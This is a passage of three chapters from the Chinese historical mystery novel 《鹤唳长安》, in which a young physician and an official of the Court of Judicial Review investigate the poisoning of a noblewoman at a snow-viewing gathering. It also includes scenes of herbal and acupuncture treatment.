魏氏“伏羲九针”除了讲求施针行医随四时变易,还有魏氏独创的十二节法则与五刺五邪之论,从而生出千变万化的行针之法,再厉害的医家也难参透,而这医案之上所用之言,正是伏羲九针十二法则之名,只有研究过魏氏医案,又或学过伏羲九针之人才懂其意,白敬之拿这样的医案出来,她但凡开口轮医道,便暴露了她懂伏羲九针之事,此试探之法虽直接有效,却也太过愚蠢,白敬之终究只把她当做个小姑娘看待。 见她生疑,白敬之紧紧盯着她的目光果然微松,他一笑道:“‘偶刺’是为前胸刺何穴位,后背便同刺相对应穴位,‘报刺’是为重复刺穴三次,‘浮刺’是为轻斜入刺,浮于肤表,不入肌理①……” 姜离做了然之色,很快道:“这医案所记施针之法似乎比我所用更为奇险,但应有奇招奇效之感,若非要有何易改,倒是这方略或可调整。” 白敬之最擅汤液,忙细问起来,裴晏冷眼看着这一幕,这时将拼好的八卦锁递给崔槿,温声问道:“县主可记得前日之事?” 崔槿拿着八卦锁本颇为欣喜,此时面色微变,“你是说……” 裴晏点头,“公主莫去想那意外,只需将那日听到了什 第 36 章 怪异 《鹤唳长安》全本免费阅读 “当日两人一席,孟湘和楚岚坐在一起,淑妤坐在两人下手位上,和幼仪一席,当时席案上有笔墨,有插花的梅瓶,还有一套煮茶的暖炉茶具,每一案都放有小格锦盒,这些茶料全都放在锦盒格子之中——” 宜阳公主面色微白地解释,九思和卢卓带着府中仆从在花棚处铲雪,裴晏这时问到:“当日最后离开花棚之人,公主可还记得?” 宜阳公主摇头,“还真记不清了。” 宜阳公主看向身边的婢女青黛,青黛道:“奴婢记得,公主殿下离去之时,是和庆阳公主殿下、段世子几人一起的,在您之后,是萧世子兄妹,在她们之后,好像孟姑娘几个走的慢,应是她们最后离开,孟姑娘、郭姑娘、殷姑娘,还有楚姑娘,李姑娘和虞姑娘,是她们没错!” 裴晏吩咐道:“去一趟广宁伯府把郭淑妤请来。” 宜阳公主又道:“那日的席案,姑娘们和公子们是相对而坐的,除了插花的时候他们随意走动,往姑娘们那边去过,其他时候大家还是泾渭分明的,如果凶手要下毒,那必须得挑个大家都注意不到的时候,而在我们所有人都出花棚时,这门口是留了两个侍婢的,也不可能有人悄悄返回来下毒……” 裴晏沉着目泽颔首,“是,当日便查问过。” 姜离看着掌心的相思子碎道:“楚岚和孟湘共用一席,倘若凶手下毒太早,楚岚也会中毒,但还是那句话,凶手如何肯定回来的是孟湘自己?” “除非下毒的正是楚岚。” 裴晏一语吓得宜阳公主色变,她断然道:“这怎么可能?楚岚和孟湘关系及其亲厚,楚岚有何理由谋害孟湘?” 裴晏道:“关系亲厚也可能是表象,如此也可说通凶手下毒不会误伤楚岚,当然,如果凶手伤人并不在意误伤,楚岚反而没了嫌疑。”- 郭淑妤赶到公主府之时,花棚处的积雪已铲除大片,积雪除尽,便见满地狼藉,不仅孟湘和楚岚的席案被砸的稀烂,她们下手位上的郭淑妤和李幼仪的席案也被压断,锦盒、梅瓶碎落一地,倘若当日郭淑妤坐在席案上,少不了和孟湘一样命丧当场。 九思上前道:“公子,当日积雪滑冲而下,郭姑娘席案上的一应物品皆被冲到了西侧,适才捡到的茶料,也皆是孟湘席案上的,但我们在 碎掉的茶炉里发现了尚未煮开的‘赤豆碎’,另外,还把郭姑娘那一席的茶料收拾出些许。” 九思递上两张油纸,一张包裹着新捡的茶料碎末,另一张则包着半煮过的茶汤残余,姜离细细查看一番,又将油纸交给白敬之,白敬之看后凝声道:“这未煮过的里头无毒,都是赤豆碎,煮过的里头有相思子碎。” 宜阳公主惊声道:“果真是只为了杀孟湘!” 郭淑妤行完礼尚不知发生了何事,姜离解释两句后,郭淑妤面色大变,“茶中下毒?这怎可能?雅集后半场,我们一直在饮茶,楚岚和孟湘也未停过,若是中毒,为何楚岚没有半点不适?我和幼仪也饮过她们的茶呢。” 裴晏道,“请你来,正是想让你仔细说说当日的场景,若觉异样,具体至一个动作一句话都可道来,就从公主说大家折花带走开始——” 死了人还不算,竟还有人下毒,郭淑妤紧张地攥着丝帕,沉声道:“公主说大家能折花带走是在比试花艺时说的,这是赏赐,大家没有不愿的,但因我那夜还要去薛府看病,当时便对幼仪说我就不折了,她们几个都听到了,但也没什么异样。到后来所有人去梅林时,我是愿意和大家同去的,我喜热闹,和大家一起逛逛林子也好,倒是湘儿因嗓子不适,犹豫了一会儿才决定同去……” “当时我们几个站在她的席案之前,那茶料锦盒盖子盖着,就放在案边,没有人去动过,而这么一耽误,我们几个出去之时,大家都已先走了。” “入了梅林往前走了十多步吧,湘儿吸了几口冷风剧烈咳嗽起来,自是愈发难受,她当时有些遗憾,便说回去花棚里等大家,又因知道我本无折梅打算,便问我要不要一同回去歇着,我想她自己实在无趣,便陪着她返回了花棚。” 郭淑妤紧盯着倒塌的花棚,又道:“当时她嗓子不适,回来便饮了两口茶,想着大家还有一会儿,她又加了茶料煮起茶汤来,热茶御寒,连我当时也在等茶汤,但只可惜,茶汤还未煮好便出了意外,倘若没有意外,我多半会和她一起中毒。” 郭淑妤心有余悸,定了定神问:“可凶手已想好用积雪杀人,又怎么会在茶料之中下毒?最后一壶茶我和幼仪也喝过,那之后,应没有人动过她们的茶料锦盒,我们回来后,也只有湘儿自己打开锦 盒取用茶料,这些除了我,当时花棚门口的两个侍婢也看到了,我起先等茶,后来又想看看她们何时回来,这才站到了靠外之地……” 郭淑妤百思难解,裴晏道:“最后一壶茶是何时煮好?” 郭淑妤道:“是在花艺比试到一半的时候。” 裴晏又问:“那之后没有其他人靠近过席案?” 郭淑妤一愣,“那是有的,我和幼仪离得近便不说了,梓桐她们,对面段公子、小郡王和高氏两位公子,都来过附近,只是我没有看见有人动锦盒。” 郭淑妤不曾看见,并不代表没有人下毒,若没人碰锦盒,那相思子如何下进去?但如今要找到目击人证却并不容易,而下毒与积雪杀人之间又有何干系? 裴晏道:“凶手如果准备了两种法子杀人,便太过冒险,因此如今最大的可能是存在两个凶手,下毒之人想谋害孟湘无疑,制造积雪意外之人,目标也很可能同是孟湘,只是没想到二人撞在了一起。” 郭淑妤倒吸一口凉气,“两个人都要杀湘儿?!这不可能的,湘儿平日里从不与人结仇,怎么会有两个人同时要杀她?!” 裴晏道:“相思子指向性明显,积雪杀人虽可能伤到其他人,但看其滑落的位置,两位公主,以及你和孟湘两张席案最为危险,两位公主出入前呼后拥,也没有不打算折梅之言,凶手既用此法,考虑的自直接有效,而最终你二人一死一伤,也合了推算,如今动机不明,反倒不可化简为繁。” 姜离也点了头,“若不论动机,只看现场,两种杀人之法的共同目标为楚岚和孟湘,而楚岚没有留在花棚之中的理由,那目标为孟湘的可能性便是十成十,无论如何,还是要从孟湘身上下手,至于郭姑娘,很可能又是被连累。” 说至此,姜离忽然道:“并且,此前郭姑娘的几次意外,会不会凶手根本不是冲着郭姑娘,而也是冲着孟姑娘呢?” 裴晏道:“这几场意外我们已经查过,当初火灾时,她们二人住得临近,而在玄武湖落水那一次,郭姑娘则是穿着孟姑娘的斗篷,庆阳公主府那一次,她二人都在,尚未找出那意外冲着孟湘而来的可能。” 姜离回忆道:“那日我先下了楼,楼上众人三三两两挑选兰花,后来郭姑娘下楼找我说话,我二人站在门口 片刻,花盆便掉了下来,的确和孟姑娘没有关系。” 郭淑妤心惊胆战道:“可……可是我马车那次呢?还有我的猫儿也死了,当然,那两次许是我想多了,但着火和落水那两次,凶手会搞错对象吗?” 她眉头拧成“川”字,苦思冥想一瞬之后,忽然道:“倘若按足巧合说,的确不是没有可能,我记得着火那天晚上风很大,且是风向不定的妖风,后来也真燎到了湘儿那间屋子,而落水那次,我穿着湘儿的斗篷,若真有人推我,在夜幕时分是极有可能认错人的,可为什么呢……” 裴晏和姜离对视一眼,姜离道:“落水是三月,着火是八月,三月孟湘可开始议亲了?” 郭淑妤迟疑道:“好像开始相看了,但没听说定了谁家。” 裴晏也道:“孟家年后二月开始合计亲事,到了六月才开始接触段氏,接触高氏则是在两个多月前。” 姜离道:“那便是九月,如此算来,至少玄武湖落水之事不可能和亲事有关。” 郭淑妤闻言面露疑色,“亲事?湘儿之死和亲事有何关?” 裴晏道:“因我们探查得知,孟湘近一年来一切如常,寻常并无其他变化,与赏雪雅集那日众人也只在亲事上有些纠葛,你和孟湘情谊也不浅,你也可以想想她这一年多来有何处古怪,此前我已经问过楚岚,但楚岚也说她如常,甚至连生气都极少见。” 郭淑妤沉思起来,“何处古怪……” 众人皆看着郭淑妤,郭淑妤原地踱步来回片刻,忽然道:“最近大半年我出来的少,一时也想不起她何处古怪,但是在过年那时候,我倒是觉得湘儿有些怪。” 众人目光一紧,郭淑妤道:“自从我去岁大受打击生病之后,我大部分时间都在府内养病,但只有一个地方,我再难受,也隔十天半月出府拜访。” 她看向姜离,姜离心底一动,“岳姑娘府上?” 郭淑妤点头,“不错,我常去盈秋府上探望,起初是探望伯父、伯母和芸香,可去岁腊月初,岳伯父病重撒手人寰,我帮着料理了丧事,后来就变成了我去探望岳伯母和芸香,而自从盈秋去后,除了我之外便只有湘儿去的最多,我也常在岳氏碰到湘儿,此前湘儿都还好好的,可过年初七八里我在岳氏见到她时,却见她忧心忡忡 的,我们二人陪着伯母说话,说着说着,她便神思不属起来,后来还拉着伯母要看盈秋的遗物,又问盈秋从前的簪子是何模样,还时不时拉着口齿不清的芸香聊天,就问她是否想起盈秋遇害的那日。” 她说完苦笑起来,“别的我想不起来了,也只有这么件小事,但距离如今已经过了快一年了,想来对今次的案子没什么用。” 她话未说完,裴晏已神色凝重起来,“她问的簪子是什么?” 郭淑妤叹了口气,“是盈秋遇害之时被凶手拿走的簪子,那凶手此前除了害人,还会将受害者身上的值钱之物洗劫一空,盈秋当时的簪子镯子都被劫走了,大抵是卖到了黑市去,后来金吾卫也没有找到下落。” 姜离看向裴晏,裴晏容色也复杂起来,郭淑妤看着二人,疑惑道:“怎么了?有什么问题不成?” 一旁宜阳公主也道:“鹤臣,有什么不可说的吗?” 裴晏摆了摆手令公主府仆从们和白敬之先退下,等众人离去,他道:“因郭姑娘多次意外是从去岁九月而起,而她的心病,是因岳盈秋遇害而生,再加上岳盈秋和孟湘也是好友,昨日我便调阅了岳盈秋的案子看,案卷之中提到过岳盈秋遇害后丢失了饰物,且最终那些饰物也没有被找到,但过年距离岳盈秋遇害已经过去了七个月,距离案子定案,凶手斩刑,也过去了三个多月,隔了这么久,孟湘怎么会在那时问岳盈秋的簪子样式?” 郭淑妤道:“难道不是为了缅怀盈秋?” 裴晏道:“她问的时候,问的可细致?” 郭淑妤愣了愣,“似乎……是细致的,盈秋当日戴的是一对羊脂玉的玉兔拜月发簪,这样式虽多见,可铺子不同雕刻的细节也不一样,湘儿那日便问了玉兔拜月之下雕刻了几朵桂花……还有什么我记不清了。” 姜离这时道:“她既然在那时候问,定是看到或想到了和发簪有关之物,后来呢?后来她没有再问过和饰物有关之事?” 郭淑妤摇头,“没有了,那之后,她急着嫁人,哦对了,她急着嫁人也有些奇怪,她父亲母亲对她宠爱非常,本来不想让她早日嫁出去的,可那时的她却急于让自己的婚事有个着落似的,是她主动与家里商议今年内把亲事定下。” 裴晏道:“孟夫人是这样说的,但 孟湘从小有主见,且十九岁定亲也不早了,他们便觉得是孟湘懂事,遂按着她的意思办了。” “一个被父母捧在掌心的姑娘,忽然急着把自己嫁出去,”姜离难解道:“这份着急,必定是因为某种危机,而她最终要定亲的对象是高氏……” 高氏为如今的长安世家之首,嫁入高氏,便是得了太子和高贵妃庇护,安远侯府虽握有兵权,但这门亲事定下后便不同往日而语,孟湘如此,倒更像替自己,也替安远侯府寻求更大的权势,亦可说更大的靠山。 裴晏道:“看来,我们需要走一趟岳氏。” 郭淑妤犹豫片刻,看向姜离道:“那我有 第 37 章 医方 《鹤唳长安》全本免费阅读 “五脏六腑之精气,上注于目而为之精,精之裹者为眼,又有言骨之精为瞳,血之精为络,气之精为白,骨、血、气又为魂魄心神之所生,故劳神则魂魄散,意志乱,继而喜恶相感神分精乱,阴阳失和,方生视物不清眼花缭乱之症①。” 姜离一边问脉一边开口,片刻又倾身检查岳夫人双眼与面部和颅顶数穴,郭淑妤在旁看的忧心,急急问道:“怎么样?姑娘可有法子?” 姜离点头道:“针灸与汤液齐下,尚有余地。” 郭淑妤闻声大松了口气,“太好了,姑娘说有余地,那便是能治,伯母病了多年,今年病情急转直下,哪怕是恢复到从前也是极好。” 姜离唤来怀夕打开针囊,又问岳夫人,“夫人除了目痛目眩,视物不明之外,是否还有恶风、流泪,内眼角赤痛发痒之状?” 岳夫人点头应是,姜离便心一定,“夫人莫动,我先为夫人施针。” 姜离取针,先倾身灸刺岳夫人颅顶上星穴,见血后擦净,又取譩譆穴,后取晴明、天牗、风池三穴主治,刺针之后,姜离又请郭淑妤取来纸笔,“施针通络,汤液则主治肝痹损伤而致的眼目昏暗、视物不明、遇寒流泪等。方子以兔肝两具,柏子仁、于地黄、茯苓、细辛、葬仁、枸杞子各两钱,防风、芎芬、薯黄各一钱,车前子三钱,五味子、甘草半钱,菟丝子一钱,以上十四味药研成细末,用蜜调和,制成梧桐子大小的药丸,每次用酒送服二十丸,每天两次,两日之后每次服用三十丸①,同样一日两次。” 姜离写好第一道方子,又道:“此外,再买来驴脂与石盐研成细末,敷在眼角处,白日两次,夜晚一次,其发痒赤红三日便可消退。” 郭淑妤一一应下,又细细看过方子,不明处再问,半炷香的时辰之后,姜离取针,她也吩咐自己的护卫去附近的药铺买药。 岳夫人这时坐起身来,揉了揉眼角,又眨着眼睛看向屋内各处,惊讶道:“怎么觉得好像能看清些许了?薛姑娘好厉害的医术,就这么片刻——” 郭淑妤欢喜不已,连声道谢,姜离这时问到:“听说府上还有位脑袋受伤的丫头,她可需要诊治?” 姜离来都来了,自要多问一句,郭淑妤便道:“对,还有芸香,伯母,你歇着便可,我带薛姑娘去看 看芸香,若是能治好她那是再好不过。” 岳夫人不住点头,姜离又叮嘱两句,转身离去,郭淑妤留下香芹照顾岳夫人,自己打着灯笼往西侧院引路,到了院门口,便见那屋子里也亮着一盏豆灯,郭淑妤上前叫门,没一会儿一个小丫头开了门,惊喜道:“郭姑娘来了!” 郭淑妤微笑道:“芸香呢?” 小丫头把几人让进来,“芸香姐姐在和奴婢翻花绳呢。” 侧院的屋子不比上房阔达,也未设隔断,西窗之下的榻上,正半躺着个年轻姑娘,正是芸香,她指节上挽着红色花绳,然而小丫头开门的功夫,花绳已被她乱做一图缠解不开,小丫头快步上前,咕哝道:“芸香姐姐,你又翻乱了!” 小丫头手忙脚乱将花绳拿走,又规规矩矩地站在一旁侍候,芸香却只看着郭淑妤傻乎乎的笑,郭淑妤坐在榻边,“芸香,还认得我吗?” 芸香笑呵呵道:“郭、郭姑娘——” 郭淑妤叹了口气,“我请了一位大夫给你看病,你别害怕。” 芸香眼底多有茫然,似不解郭淑妤所言,顿了顿才道:“怕、不怕……” 郭淑妤看向姜离,“她伤势痊愈得快,但那以后,手脚无力、记忆混乱,说话也颠三倒四,时哭时笑,还易泛呕,平日里已无法自理生活,伯母心善,想着她也是受害者,便好好将她养在府内,也算不负她照料盈秋多年。” 姜离上前为芸香问脉,片刻又去检查她脑袋上伤处,很快道:“芸香面色不华,精神呆滞倦念,苔薄而少,质淡不胖,边有瘀斑,脉细软无力……虽外伤痊愈,但败血内生,归肝碍胃,痰瘀中阻,气血失和,清窍失养日久,渐汲肝肾气血。” 思忖片刻,姜离道:“当以攻补兼施,填补气血为主,继以理气、化瘀通络,终取补肝健肾,我先写个方子——” 姜离拿来笔墨写下一方,以天麻、钩藤、石菖蒲、远志、桔梗、杏仁、白芥子、南星、僵蚕、鲜竹沥、生姜、当归入药,又吩咐怀夕帮忙施针,以灸肩俞、曲池、合谷、内关,及血海、足三里、阳陵泉、悬钟②几穴主治。 施针结束已是两刻钟之后,芸香呆呆地任姜离施为,又时不时看着郭淑妤发笑,裴晏在外等了片刻,待芸香更衣后方才入内,这时郭淑妤问道:“芸 香,你可记起你家小姐被人掳走那日的情形?” 芸香又一阵茫然,“小姐?小姐掳走?” 郭淑妤叹气,“她是真想不起了,大夫我也请过几个,都说再也看不好了,又说若如今这般能吃能睡已经不易,那灰衣蒙面的说法,也是她当时刚醒时说的,后来伤口愈合,神志反倒越来越乱。” 芸香忽然拍起手,“乱,大乱!” 郭淑妤有些无奈地看她一惊一乍,姜离在旁道:“她的病的确不易,即便有痊愈的可能,也是短则半年,长则数年的调理。” 如此一来,裴晏也知难问出什么,郭淑妤叹息几句,见外头天色已晚,便道:“时辰不早了,薛姑娘劳累一日,不若早些回府歇着,我在这里等药送来。” 姜离也有告辞之意,闻言收拾好医箱出得侧院,又和裴晏同岳夫人辞别。 待出了岳府之门,姜离想起来一事,驻足道:“白日里大人说当时仵作验状之上,曾写岳姑娘遇害之时,□□内存有木屑?” 裴晏点头,“不错——” 姜离凝眸问:“另两位死者并无此状?” 裴晏应是,又眉峰微扬,“你是怀疑此处有问题?” 姜离道:“出事那日虽下了大雨,但当时游人不少,山上山下却都没有人撞见过瘸子,而凶手连环行凶,是多半会保持特定之行的,若他要如此施虐,前两位受害者也难逃过,没道理只在第三位受害者才出现此行。” 裴晏颔首,“岳盈秋的死大有疑点,而如果凶手不是瘸子,那此前调查方向便完全错了,至于那木屑,凶手或许不能人道,亦有可能凶手不是男子,是以此来掩盖身份,又或者,凶手对岳姑娘恨意更深,既要模仿又要施虐。” 新案牵扯出旧案,凭如今所知自有颇多可能,裴晏也不敢轻下定论,说至此,他道:“这些大理寺会再去探查,明日姑娘可会过裴府问诊?” 七日已过,明日正是给裴老夫人复诊之日,姜离点头道:“明日巳时过半给裴老夫人问诊,下午再去公主府给长乐县主诊病。” 裴晏微微点头,“那好,劳烦姑娘,时辰不早,姑娘回府吧。” 姜离欠身,利落地转身上马车,裴晏与九思几人也上马扬鞭,裴晏无论是回衙门还是回裴府,都无需再上 朱雀大街,可眼看着姜离的马车往朱雀大街行去,裴晏竟带着几人打马在后跟着。 怀夕掀帘看了一眼,回身道:“姑娘,裴大人送咋们呢,虽说如今没了宵禁,可夜里各处武侯都不敢轻慢,咱们往北走巡逻卫队更多,实在无需担心。” 姜离听着这话未做反应,只沉着眉眼想今天白敬之之行,“今日白敬之给我看的脉案,乃是义父当年所写,他如此着急忙慌试我,定是心有所惧。” 说起白敬之,怀夕也怒目道:“奴婢就说他怎么忽然请您看医案,奴婢早听说入了太医署的医家鼻子都长在头顶上,他今日不耻下问,还让奴婢以为他是个好的……姑娘,那您打算如何办?” 姜离微微眯眸,“先静观其变。” 此时已近二更,裴晏虽跟在马车后,却并未上前说话,姜离耳边听着轻快蹄声,也不曾开口,如此静然一路,眼看皇城在望,薛氏的马车沿坊间长街转向东,裴晏则勒马,等姜离的马车消失在街角方才打马往西去。- 翌日清晨,姜离既定好巳时过半到裴国公府,用过早膳便带着怀夕出了门,走到府门口,碰上了同样要出府的薛沁。 “长姐这是要去哪里?” 薛沁福了福身,姜离道:“去裴国公府给老夫人复诊。” 薛沁上下打量她两瞬,心底不是滋味,又道:“孟湘的案子可有什么说法了?如今这事已传遍长安,说什么的都有。” 姜离道:“大理寺在查,我也不清楚进度。” 薛沁撇了撇嘴却是不信,“说来也怪,我倒不知学医有这么多好处,前次那浮香斋的案子长姐便知道的一清二楚,如今长姐给裴老夫人看病,昨日不是还去了宜阳公主府上?我不信长姐不知道,也怪了,那位裴大人素有严正之名,对长姐倒是信任的很。” 姜离莞尔,“三妹妹若是想学医现在也不晚。” 薛沁抿紧唇角,“长安从无世家贵女学医,也就是患病的时候有求于长姐,等那些人好了,又有几人记得长姐?” 她说完便走,姜离轻嗤摇头,也上马车扬长而去。 到裴国公府之时正是巳时过半,怀夕上前叫门,门房早知她们要来,极热络地引着二人入府门,又往北带路,“我们世子出门之前交代过的,说您巳时过半来 ,还说您定会准时,小人们不敢大意,一直等着呢。” 此刻时辰尚早,姜离本以为裴晏说不好在府内,两人又不可避免相见,却不想裴晏已经离开,她心弦松了松,步履都轻快起来。 路过那花墙时,姜离不禁被墙后绿梅吸引,小厮便殷勤道:“我们世子很爱绿梅,专门从麟州请来了好些花匠,花了三年才种出这般气象,不过世子也很小气,宜阳公主想从咱们这里移植些过去,世子都婉拒了。” 鼻端幽香浮动,姜离往四周看了看道:“怎么不见郡主娘娘?” 小厮恭敬道:“郡主娘娘这几年一心礼佛,很少出来走动,您不必记挂,老夫人那边也正等您呢。” 姜离遂不再问,待见到老夫人,便瞧她气色好了许多,人也爽利地靠坐在窗前榻上。 见到姜离裴老夫人笑着伸手,拉着她说起感激之语,“不怪鹤臣夸赞姑娘,竟是比太医署的御医还要管用,用了姑娘的法子,三日我便可下地了,姑娘可不知,我本以为这个冬天,是没机会去赏梅了,这一出去,我才知外头绿萼梅开的这样好。” 姜离莞尔,“老夫人身体还会更好,我先给老夫人请脉。” 裴老夫人笑着应好,又十分配合地检查身子,等检查完,姜离一边净手一边更改了几味药,又叮嘱道:“老夫人定要坚持药洗,口腹之上也要禁忌,等到了月底,老夫人方才能放开饮食。” 裴老夫人笑道:“是,如今都听姑娘的,老身听鹤臣说你今日还要去宜阳公主府上,那不如就在府里和老婆子一道用午膳吧——” 时下富贵人家兴道,裴国公裴渊也在城外清修,这府里平日里只有老夫人与郡主娘娘两位主子,从前听闻高阳郡主常侍奉在老夫人身边,如今却多有不同。 姜离想了想,应下,“那晚辈便叨扰了。” 裴老夫人笑着吩咐传膳,又拉着她坐在榻边说话,“你不必拘束,老身这辈子没个女儿,想要个孙女也未能如愿,便尤其喜欢小姑娘在跟前。” 她说着话,摸到了姜离掌心的茧子和那道愈合的疤痕,仔细一看道:“这手怎么伤过?阿文,快去把那羊脂膏拿来——” 姜离掌心之伤正是救付云慈所留,如今早已结痂痊愈,只细触时能摸到微凸的粉白疤痕,她道: “半月前不小心受了一点儿轻伤,已经没事了。” 裴老夫人失笑,“你是医家,怎么没有去疤的药吗?小姑娘家家的莫在手上留疤,老身这里正有一味药膏极灵的,你且等等。” 说话间,文嬷嬷已拿了一只白瓷药罐出来,老夫人亲手接过,又打开盖子,刚用指尖沾了点儿涂在疤痕处,姜离眉头便皱了起来,去疤痕之药多用羊脂调和,但老夫人用的这一方 第 38 章 沈涉川 《鹤唳长安》全本免费阅读 “德王殿下的庄子乃是仿白鹭山皇家行宫而建,当初郭姑娘住的那厢房,是单檐歇山顶穿斗式的架构,从最外围的阑额、檐柱,再到里头的门窗格栅,转角与柱头铺作、遮椽板、草架、再到顶椽、望板,皆是上好的柞木与榆木,而穿斗式柱枋多椽板密,虽稳固牢靠,但一旦起火所有板材烧起来,火势便难扑灭——” 李策一边用墨线勾勒草图,一边又回忆道:“我记得那一次,淑妤住在西厢房,孟湘住在正房,火势起来之后,淑妤和婢女被困在厢房之内,二人只能往南侧的暖阁躲避,护卫们赶到砸了南侧的窗扇,这才将二人救了出来。” 李同尘道:“正是,那夜风很大,我记得把人救出来之后人倒没事,可那两间屋子已经住不了人了……” 裴晏这时问到:“火势扑灭之后现场如何?” 李策指着画纸道:“若未记错,应该只剩下这南侧屋角了,正堂方向则是西厢被烧毁,幸而那日孟湘二人住在东厢,着火之后她们二人逃得快,起初也是她们最先呼救,那夜的风先是西南,后又西北,这才让两间屋子都被烧毁大半。” 裴晏目泽微沉,“先是西南,又是西北,烧的最厉害之处,便是郭淑妤和侍婢住的西厢房北屋?” 李策点头,“不错,当时都说二人还有地方可躲,否则便要出人命了。” 李同尘道:“那夜也是倒霉,好端端的她们的门闩也卡住了,差点酿成惨祸,但那几日秋高气爽,秋老虎很是骇人,一点儿火星引起火灾是有可能的。” 宁珏道:“这便是说起火点正是在郭姑娘住的屋子,如果只起火也就罢了,门闩还出了岔子,后来没发现门闩为何卡住吗?” 李策道:“那门被烧毁了大半,门闩也烧成了木炭,看不出问题所在。” 宁珏看向裴晏,裴晏又看向崔赟,“郭淑妤落水那次呢?你可记得有何异样?” 崔赟身量英武,一双剑眉斜飞入鬓,颇有武将风范,他道:“那一日所有人都在船舱里做赋,郭姑娘却因晕船想出去透透气,外头冷,他便披了孟湘的斗篷,出去没一会儿,我们只听见一声惨叫,出去一看,便见她在湖里挣扎,若我没记错,当时是鸿胪寺卿家的公子赵一铭和段国公府的二公子段凌,二人一齐跳下去把她救上来的,当时 她吓得不轻,天色也不早了,我们很快便散了。” 裴晏道:“可她说有人推她。” 崔赟摇头道:“这不可能,当时我们所有人都在船舱内,只有小厮侍婢们三三两两在船尾说话,她站在船头船舷处,身边挂着不少酒旗和灯笼,我怀疑是那些东西碰到了她,让她误以为落水之时身边有人。” 宁珏这时看向李策与李同尘,李同尘耸了耸肩,“游湖那次我们没去。” 宁珏又看向崔赟,崔赟道:“赏月那次我没去。” 宁珏眉头拧起,“合着,没有谁是几次都在的?那庆阳公主府那次呢?” 李策道:“我与同尘在,敏行不在。” 敏行为崔赟表字,崔赟叹了口气道:“这几次意外没有人同时在场,难道说凶手有两个人,此前的意外是有人刻意为之,只是每次动手之人都不同?时而是为了害郭姑娘,时而又是为了害孟姑娘?只是害孟姑娘的时候被郭姑娘赶了上?” 宁珏听得愁眉苦脸,“一下郭姑娘一下孟姑娘,凶手也有两个,这真是难办了,害孟姑娘的缘故还没查清,想杀郭姑娘又是什么理由?” 宜阳公主在旁叹气,“为了何事值得杀人呢?” 她摇了摇头,牵着崔槿的手起身,“走,让他们烦恼去,我们先去治病。” 崔槿那日受了惊吓,回来便发了病,如今病情轻松了几分,却急于想知道那日的案子是因何而起,待被宜阳公主带回室内,崔槿一边被姜离问脉一边道:“母亲,难怪淑妤姐姐好一阵子没来咱们府上呢,却是被吓病了,她数次意外皆有惊无险,想来定是个极有福气之人吧……” 宜阳公主顺着她应是,又看向姜离,“薛姑娘,怎么样?” 姜离道:“今日还需施针。” 崔槿一听有些害怕,姜离温和道:“县主放心,我会避开经络密集的几处穴位,不会痛的。” 崔槿闻声微松了口气,又更衣躺下,足两刻钟之后,崔槿才欢欣道:“薛姑娘的针法竟当真不痛,若每次都是这样,那我也愿意施针了。” 姜离噙着笑意道:“下一次施针是三日之后,县主这几日可安心养着,今日的方子按我之见需得改两味药,不知白太医何时来?” 宜阳公主看了一眼天色,“应 该快了,他昨日说过,今日太医署有教学,他或许会晚来小半个时辰。” 姜离心中了然,如宜阳公主所言,她刚写好方子,白敬之便带着药童走了进来。 他见礼后问脉,因崔槿脉象平和许多,他有些惊讶道:“比在下预想中恢复的更好,想来是薛姑娘针灸的功劳——” 姜离谦虚两句,又叮嘱崔槿多静养,宜阳公主也道:“你的病本就是因惊吓而起,那些打打杀杀的事还是不要好奇了,等你好了,再让游之给你讲外头的事,这会儿先躺着准备用药。” 施针之时不可动,崔槿僵卧半晌,也的确疲惫,便乖乖闭上眸子小憩片刻。 宜阳公主留下嬷嬷守着,带着二人退了出来,眼看到了前厅,白敬之望着姜离道:“姑娘在医道上的天分实属难见。” 姜离失笑,“多谢大人夸赞,是师父教得好。” 白敬之身形微顿,“听闻姑娘还擅医妇人病?” 他回长安已有数日,自然知道太子妃和裴老夫人的隐疾是姜离在看诊,这二人皆是旧疾,也请他延看过,他便也明白姜离所擅之类。 姜离坦然道:“我师父是女医,极擅妇人病,我初初入门便学医妇人病。” 白敬之眼瞳微瞪,自是觉的太过巧合,宜阳公主闻言也想到了从前,笑道:“薛姑娘的经历,倒是让本宫想到了从前长安也有一位女医,这位女医擅妇人病,也有个和你一般年岁的小徒弟。” 虞清苓当年擅妇人病之名远扬,富贵人家怕寻常女医口风不严,但凡患病,必定请虞清苓出诊,姜离虽不是每次都跟随,但各家各门也知晓她的存在。 姜离眼珠儿微动,“公主莫不是说,那位广安伯夫人?” 见她如此直接,宜阳公主和白敬之面色都是一变,白敬之更道:“姑娘如何得知?” 姜离淡声道:“我回来半个多月,自然听说过长安城一众神医之名,这位夫人我早知道,不过父亲说过,说五年前广安伯所犯之案乃是忌讳,所以即便听闻他有门出神入化的针灸术,我也不好多提起。” 宜阳公主和白敬之都明白她说的是何案,正不知如何接话,宁珏从外走了进来,他冷哼道:“什么出神入化,依我看,分明是欺世盗名,自己搞出一套特立独行之说辞故作高深 ,如此出了岔子,好不易被人发觉罢了。” 五年前皇太孙身死之时,宁珏正在凌霄剑宗学武,时值凌霄剑宗一年一度的比武大会,等他得了消息急匆匆赶回长安时已是二月初十,广安伯全府上下已被斩首,就连姜离都已“葬身火海”,他只见到了因丧子之痛病重的姐姐宁瑶,而情似手足的小外甥李翊已葬入皇陵,他连最后一面都未见到,自此,他深深地恨上了魏阶。 宜阳公主叹道:“游之,话不能这么说,当年魏阶夫妻还是救治过不少人。” 宁珏哼道:“我知道,都称他们夫妻为魏氏活菩萨嘛,可救苦救难的活菩萨害死无辜之人还不够,连自己府上妻儿老小都被他牵累至死,可见他那些功德之行也多半是为沽名钓誉,老天爷压根不认。” 宜阳公主知他心结也不多辨,宁珏这时看向姜离,“其实五年前的案子也不算什么忌讳,薛大人对姑娘如此交代,莫不是他有何难言之隐?” 宜阳公主再听不下去,轻咳一声道:“游之,不要胡闹——” 宁珏耸了耸肩,“我随口问问嘛,薛姑娘刚回长安与旧事无关,这我还是明白的。” 见姜离作纳闷之色,宁珏还想再说,目光一晃却看到裴晏朝门口走来,他忙抿唇闭嘴,裴晏缓步而入道:“殿下,我先告辞一步。” 宜阳公主忙道:“如何?那两次意外可有何说法?” 裴晏摇头,“暂不能确定,不过若有人要杀郭淑妤又要杀孟湘,我倒是有了个方向,只是如今尚未理清不可直言,我稍后先走一趟广宁伯府。” 宜阳公主点头应好,裴晏又看了眼宁珏,“你跟我来。” 宁珏扬眉跟出去,二人站于廊下说话,也不知裴晏说了什么,宁珏惊道:“师兄怎么今岁不去了?陛下可是很赞成你回师门的,大理寺那么多人,师兄就一定要自己亲自查这些线索吗?师兄不回那我也不回了,正好,父亲母亲也不愿我离开长安。” 